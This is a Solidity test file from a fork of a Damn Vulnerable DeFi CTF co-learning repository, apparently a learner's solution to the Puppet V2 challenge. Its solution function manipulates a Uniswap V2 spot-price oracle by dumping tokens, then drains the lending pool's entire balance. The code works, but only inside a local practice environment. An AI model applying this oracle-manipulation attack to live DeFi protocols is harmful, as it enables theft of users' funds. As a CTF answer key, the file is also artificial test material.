forked from DeFiHackLabs/Web3-CTF-Intensive-CoLearning
-
Notifications
You must be signed in to change notification settings - Fork 0
/
PuppetV2.t.sol
127 lines (107 loc) · 5.08 KB
/
PuppetV2.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {IUniswapV2Pair} from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import {IUniswapV2Factory} from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import {IUniswapV2Router02} from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import {WETH} from "solmate/tokens/WETH.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {PuppetV2Pool} from "../../src/puppet-v2/PuppetV2Pool.sol";
contract PuppetV2Challenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recovery = makeAddr("recovery");
uint256 constant UNISWAP_INITIAL_TOKEN_RESERVE = 100e18;
uint256 constant UNISWAP_INITIAL_WETH_RESERVE = 10e18;
uint256 constant PLAYER_INITIAL_TOKEN_BALANCE = 10_000e18;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 20e18;
uint256 constant POOL_INITIAL_TOKEN_BALANCE = 1_000_000e18;
WETH weth;
DamnValuableToken token;
IUniswapV2Factory uniswapV2Factory;
IUniswapV2Router02 uniswapV2Router;
IUniswapV2Pair uniswapV2Exchange;
PuppetV2Pool lendingPool;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);
vm.deal(player, PLAYER_INITIAL_ETH_BALANCE);
// Deploy tokens to be traded
token = new DamnValuableToken();
weth = new WETH();
// Deploy Uniswap V2 Factory and Router
uniswapV2Factory = IUniswapV2Factory(
deployCode(string.concat(vm.projectRoot(), "/builds/uniswap/UniswapV2Factory.json"), abi.encode(address(0)))
);
uniswapV2Router = IUniswapV2Router02(
deployCode(
string.concat(vm.projectRoot(), "/builds/uniswap/UniswapV2Router02.json"),
abi.encode(address(uniswapV2Factory), address(weth))
)
);
// Create Uniswap pair against WETH and add liquidity
token.approve(address(uniswapV2Router), UNISWAP_INITIAL_TOKEN_RESERVE);
uniswapV2Router.addLiquidityETH{value: UNISWAP_INITIAL_WETH_RESERVE}({
token: address(token),
amountTokenDesired: UNISWAP_INITIAL_TOKEN_RESERVE,
amountTokenMin: 0,
amountETHMin: 0,
to: deployer,
deadline: block.timestamp * 2
});
uniswapV2Exchange = IUniswapV2Pair(uniswapV2Factory.getPair(address(token), address(weth)));
// Deploy the lending pool
lendingPool =
new PuppetV2Pool(address(weth), address(token), address(uniswapV2Exchange), address(uniswapV2Factory));
// Setup initial token balances of pool and player accounts
token.transfer(player, PLAYER_INITIAL_TOKEN_BALANCE);
token.transfer(address(lendingPool), POOL_INITIAL_TOKEN_BALANCE);
vm.stopPrank();
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public view {
assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE);
assertEq(token.balanceOf(player), PLAYER_INITIAL_TOKEN_BALANCE);
assertEq(token.balanceOf(address(lendingPool)), POOL_INITIAL_TOKEN_BALANCE);
assertGt(uniswapV2Exchange.balanceOf(deployer), 0);
// Check pool's been correctly setup
assertEq(lendingPool.calculateDepositOfWETHRequired(1 ether), 0.3 ether);
assertEq(lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE), 300000 ether);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_puppetV2() public checkSolvedByPlayer {
token.approve(address(uniswapV2Router), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
console.log("before alculateDepositOfWETHRequired",lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE));
uniswapV2Router.swapExactTokensForETH(token.balanceOf(player), 1 ether, path, player, block.timestamp);
weth.deposit{value: player.balance}();
weth.approve(address(lendingPool), type(uint256).max);
uint256 poolBalance = token.balanceOf(address(lendingPool));
uint256 depositOfWETHRequired = lendingPool.calculateDepositOfWETHRequired(poolBalance);
console.log("after alculateDepositOfWETHRequired",lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE));
lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE);
token.transfer(recovery,POOL_INITIAL_TOKEN_BALANCE);
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
assertEq(token.balanceOf(address(lendingPool)), 0, "Lending pool still has tokens");
assertEq(token.balanceOf(recovery), POOL_INITIAL_TOKEN_BALANCE, "Not enough tokens in recovery account");
}
}